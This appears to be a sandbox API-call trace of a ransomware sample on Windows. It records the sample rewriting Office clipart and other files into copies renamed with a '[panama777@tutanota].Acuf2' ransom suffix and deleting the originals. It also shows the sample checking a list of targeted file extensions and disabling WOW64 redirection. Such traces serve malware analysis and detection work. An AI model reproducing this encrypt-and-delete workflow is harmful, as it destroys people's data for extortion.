	[0275.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107708.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0275.818] GetLastError () returned 0x0
	[0275.818] ReadFile (in: hFile=0x35c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x12c8, lpOverlapped=0x0) returned 1
	[0275.819] WriteFile (in: hFile=0x358, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x12d0, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x12d0, lpOverlapped=0x0) returned 1
	[0275.820] ReadFile (in: hFile=0x35c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0275.820] WriteFile (in: hFile=0x358, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0275.820] SetEndOfFile (hFile=0x358) returned 1
	[0275.820] CloseHandle (hObject=0x358) returned 1
	[0275.820] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.820] SetEndOfFile (hFile=0x35c) returned 1
	[0275.822] CloseHandle (hObject=0x35c) returned 1
	[0275.822] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0275.823] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107708.wmf")) returned 1
	[0275.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF") returned 63
	[0275.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF") returned 63
	[0275.823] lstrlenW (lpString=".doc") returned 4
	[0275.823] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0275.823] lstrlenW (lpString=".docx") returned 5
	[0275.823] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0275.823] lstrlenW (lpString=".pdf") returned 4
	[0275.823] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0275.823] lstrlenW (lpString=".xls") returned 4
	[0275.823] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0275.823] lstrlenW (lpString=".xlsx") returned 5
	[0275.823] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0275.823] lstrlenW (lpString=".ppt") returned 4
	[0275.823] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0275.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF") returned 63
	[0275.823] lstrlenW (lpString=".zip") returned 4
	[0275.823] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0275.823] lstrlenW (lpString=".rar") returned 4
	[0275.823] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0275.823] lstrlenW (lpString=".bz2") returned 4
	[0275.823] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0275.823] lstrlenW (lpString=".7z") returned 3
	[0275.823] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0275.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF") returned 63
	[0275.824] lstrlenW (lpString=".dbf") returned 4
	[0275.824] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0275.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF") returned 63
	[0275.824] lstrlenW (lpString=".1cd") returned 4
	[0275.824] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0275.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF") returned 63
	[0275.824] lstrlenW (lpString=".jpg") returned 4
	[0275.824] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0275.824] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.824] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107712.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0275.825] GetLastError () returned 0x0
	[0275.825] ReadFile (in: hFile=0x35c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x121c, lpOverlapped=0x0) returned 1
	[0275.984] WriteFile (in: hFile=0x358, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x1220, lpOverlapped=0x0) returned 1
	[0275.985] ReadFile (in: hFile=0x35c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0275.985] WriteFile (in: hFile=0x358, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0275.985] SetEndOfFile (hFile=0x358) returned 1
	[0275.985] CloseHandle (hObject=0x358) returned 1
	[0275.985] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.985] SetEndOfFile (hFile=0x35c) returned 1
	[0275.987] CloseHandle (hObject=0x35c) returned 1
	[0275.987] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0276.168] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107712.wmf")) returned 1
	[0276.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF") returned 63
	[0276.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF") returned 63
	[0276.246] lstrlenW (lpString=".doc") returned 4
	[0276.251] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0276.255] lstrlenW (lpString=".docx") returned 5
	[0276.255] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0276.259] lstrlenW (lpString=".pdf") returned 4
	[0276.264] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0276.271] lstrlenW (lpString=".xls") returned 4
	[0276.274] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0276.276] lstrlenW (lpString=".xlsx") returned 5
	[0276.280] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0276.280] lstrlenW (lpString=".ppt") returned 4
	[0276.284] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0276.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF") returned 63
	[0276.289] lstrlenW (lpString=".zip") returned 4
	[0276.292] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0276.317] lstrlenW (lpString=".rar") returned 4
	[0276.319] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0276.321] lstrlenW (lpString=".bz2") returned 4
	[0276.326] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0276.330] lstrlenW (lpString=".7z") returned 3
	[0276.334] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0276.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF") returned 63
	[0276.341] lstrlenW (lpString=".dbf") returned 4
	[0276.342] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0276.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF") returned 63
	[0276.347] lstrlenW (lpString=".1cd") returned 4
	[0276.350] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0276.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF") returned 63
	[0276.359] lstrlenW (lpString=".jpg") returned 4
	[0276.362] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0276.748] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0276.748] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0276.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107742.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
	[0276.804] GetLastError () returned 0x0
	[0276.805] ReadFile (in: hFile=0x35c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0xe3c, lpOverlapped=0x0) returned 1
	[0276.820] WriteFile (in: hFile=0x274, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xe40, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xe40, lpOverlapped=0x0) returned 1
	[0276.821] ReadFile (in: hFile=0x35c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0276.821] WriteFile (in: hFile=0x274, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0276.821] SetEndOfFile (hFile=0x274) returned 1
	[0276.821] CloseHandle (hObject=0x274) returned 1
	[0276.821] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0276.821] SetEndOfFile (hFile=0x35c) returned 1
	[0276.824] CloseHandle (hObject=0x35c) returned 1
	[0276.824] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0277.102] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107742.wmf")) returned 1
	[0277.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF") returned 63
	[0277.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF") returned 63
	[0277.103] lstrlenW (lpString=".doc") returned 4
	[0277.103] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0277.103] lstrlenW (lpString=".docx") returned 5
	[0277.103] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0277.103] lstrlenW (lpString=".pdf") returned 4
	[0277.103] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0277.103] lstrlenW (lpString=".xls") returned 4
	[0277.103] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0277.103] lstrlenW (lpString=".xlsx") returned 5
	[0277.103] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0277.103] lstrlenW (lpString=".ppt") returned 4
	[0277.103] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0277.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF") returned 63
	[0277.103] lstrlenW (lpString=".zip") returned 4
	[0277.103] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0277.103] lstrlenW (lpString=".rar") returned 4
	[0277.103] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0277.103] lstrlenW (lpString=".bz2") returned 4
	[0277.103] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0277.103] lstrlenW (lpString=".7z") returned 3
	[0277.103] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0277.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF") returned 63
	[0277.103] lstrlenW (lpString=".dbf") returned 4
	[0277.103] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0277.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF") returned 63
	[0277.103] lstrlenW (lpString=".1cd") returned 4
	[0277.104] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0277.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF") returned 63
	[0277.104] lstrlenW (lpString=".jpg") returned 4
	[0277.104] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0277.108] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0277.108] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0277.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0136865.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0277.112] GetLastError () returned 0x0
	[0277.112] ReadFile (in: hFile=0x360, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x4146, lpOverlapped=0x0) returned 1
	[0277.124] WriteFile (in: hFile=0x32c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x4150, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x4150, lpOverlapped=0x0) returned 1
	[0277.125] ReadFile (in: hFile=0x360, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0277.125] WriteFile (in: hFile=0x32c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0277.125] SetEndOfFile (hFile=0x32c) returned 1
	[0277.125] CloseHandle (hObject=0x32c) returned 1
	[0277.125] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0277.125] SetEndOfFile (hFile=0x360) returned 1
	[0277.127] CloseHandle (hObject=0x360) returned 1
	[0277.128] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0277.128] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0136865.wmf")) returned 1
	[0277.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF") returned 63
	[0277.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF") returned 63
	[0277.128] lstrlenW (lpString=".doc") returned 4
	[0277.128] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0277.128] lstrlenW (lpString=".docx") returned 5
	[0277.128] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0277.128] lstrlenW (lpString=".pdf") returned 4
	[0277.128] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0277.128] lstrlenW (lpString=".xls") returned 4
	[0277.128] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0277.128] lstrlenW (lpString=".xlsx") returned 5
	[0277.128] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0277.128] lstrlenW (lpString=".ppt") returned 4
	[0277.128] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0277.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF") returned 63
	[0277.128] lstrlenW (lpString=".zip") returned 4
	[0277.128] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0277.128] lstrlenW (lpString=".rar") returned 4
	[0277.129] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0277.129] lstrlenW (lpString=".bz2") returned 4
	[0277.129] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0277.129] lstrlenW (lpString=".7z") returned 3
	[0277.129] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0277.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF") returned 63
	[0277.129] lstrlenW (lpString=".dbf") returned 4
	[0277.129] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0277.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF") returned 63
	[0277.129] lstrlenW (lpString=".1cd") returned 4
	[0277.129] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0277.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF") returned 63
	[0277.129] lstrlenW (lpString=".jpg") returned 4
	[0277.129] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0277.191] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0277.191] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0277.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145212.jpg.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) 

Thread:
	id = 98
	os_tid = 0x67c

	[0248.699] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10000) returned 0x3a20050
	[0248.699] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10000) returned 0x3a30058
	[0248.699] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f4de8
	[0248.699] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x6) returned 0x5218a0
	[0248.699] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f4e00
	[0248.699] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x100000) returned 0x3c20020
	[0248.699] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f4e18
	[0248.699] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f4e18, Size=0x20) returned 0x51b180
	[0248.699] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f4e18
	[0248.700] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f4e18, Size=0x20) returned 0x51b1a8
	[0248.700] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x755c0000
	[0248.700] GetProcAddress (hModule=0x755c0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x755ed650
	[0248.700] Wow64DisableWow64FsRedirection (in: OldValue=0x2fcff58 | out: OldValue=0x2fcff58*=0x0) returned 1
	[0248.700] lstrlenW (lpString="kernel32.dll") returned 12
	[0248.700] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x51b180 | out: hHeap=0x4a0000) returned 1
	[0248.700] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0248.700] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x51b1a8 | out: hHeap=0x4a0000) returned 1
	[0248.700] Sleep (dwMilliseconds=0x64) 
	[0249.071] Sleep (dwMilliseconds=0x64) 
	[0249.268] Sleep (dwMilliseconds=0x64) 
	[0249.516] lstrcmpiW (lpString1=".xml", lpString2=".Acuf2") returned 1
	[0249.516] lstrlenW (lpString="Content.xml") returned 11
	[0249.516] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a0
	[0249.616] GetFileSizeEx (in: hFile=0x2a0, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=27045) returned 1
	[0249.622] CloseHandle (hObject=0x2a0) returned 1
	[0249.625] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20
	[0249.631] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0249.631] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0249.632] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62
	[0249.632] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62
	[0249.632] lstrlenW (lpString=".doc") returned 4
	[0249.632] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0249.632] lstrlenW (lpString=".docx") returned 5
	[0249.632] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0249.632] lstrlenW (lpString=".pdf") returned 4
	[0249.632] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0249.632] lstrlenW (lpString=".xls") returned 4
	[0249.632] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0249.632] lstrlenW (lpString=".xlsx") returned 5
	[0249.632] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0249.632] lstrlenW (lpString=".ppt") returned 4
	[0249.632] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0249.632] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62
	[0249.632] lstrlenW (lpString=".zip") returned 4
	[0249.632] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0249.632] lstrlenW (lpString=".rar") returned 4
	[0249.632] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0249.632] lstrlenW (lpString=".bz2") returned 4
	[0249.632] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0249.632] lstrlenW (lpString=".7z") returned 3
	[0249.632] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0249.632] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62
	[0249.632] lstrlenW (lpString=".dbf") returned 4
	[0249.632] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0249.632] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62
	[0249.632] lstrlenW (lpString=".1cd") returned 4
	[0249.632] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0249.632] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62
	[0249.632] lstrlenW (lpString=".jpg") returned 4
	[0249.632] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0249.633] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62
	[0249.633] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62
	[0249.633] lstrlenW (lpString=".doc") returned 4
	[0249.633] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0249.633] lstrlenW (lpString=".docx") returned 5
	[0249.633] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0249.633] lstrlenW (lpString=".pdf") returned 4
	[0249.633] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0249.633] lstrlenW (lpString=".xls") returned 4
	[0249.633] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0249.633] lstrlenW (lpString=".xlsx") returned 5
	[0249.633] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0249.633] lstrlenW (lpString=".ppt") returned 4
